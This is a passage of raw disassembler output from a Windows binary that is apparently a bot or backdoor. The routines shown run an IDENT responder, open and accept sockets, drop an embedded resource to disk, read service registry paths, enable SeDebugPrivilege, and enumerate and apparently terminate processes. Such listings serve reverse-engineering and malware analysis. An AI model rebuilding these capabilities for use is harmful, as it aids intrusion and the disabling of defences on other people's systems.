		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5EDAB2
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E6ED9, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		call	near ptr 2811D0Bh
		nop
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi	; closesocket


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 4
		call	sub_401DCA
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50BB68
		xor	eax, eax
		mov	dword_50BB54, eax
		mov	dword_50BB4C, 1
		mov	dword_50BB5C, eax
		mov	dword_50BB60, eax
		call	sub_401744


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50BB6C
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		nop
		call	near ptr 28D077Fh
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44794F
		mov	dword_50BB48, 20h
		mov	dword_50BB4C, 2
		mov	dword_50BB50, 3
		mov	dword_50BB54, esi
		mov	dword_50BB58, esi
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 28D038Ch
		cmp	eax, esi
		mov	dword_50BB6C, eax
		jz	short loc_41FBAA
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		nop
		call	near ptr 28D077Fh


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB68, ecx
		push	100h
		mov	ecx, offset byte_44794F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		call	near ptr 28D0000h
		nop
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2861CD4h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 27706BAh
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		call	near ptr 2780000h
		nop
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 278030Ch
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 278076Fh
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_436840
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_436FC0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_436FBA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_436FB4
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 95E89056h, 0C6022CFFh, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		nop
		call	near ptr 282071Eh


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		call	near ptr 2910000h
		nop
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 28C0000h
		nop
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443B04 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23B06A0h,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28E086Ch
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 2880457h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		call	near ptr 28F0000h
		nop
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 2760A2Ch
		push	eax
		nop
		call	near ptr 28A1625h
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 2760A89h
		push	eax
		call	near ptr 28A1C77h
		nop
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28B0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		nop
		call	near ptr 27A08E0h
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2770000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		nop
		call	near ptr 26F0000h
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2861CD4h
		test	eax, eax
		mov	dword_50BB70, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 27C07DCh
		nop
		test	eax, eax
		mov	dword_50BB70, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB74, eax
		mov	eax, dword_50BB70
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB70
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB78, eax
		call	esi
		mov	ecx, dword_50BB74
		mov	dword_50BB7C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50BB78
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB78
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB7C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		nop
		call	near ptr 282071Eh


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
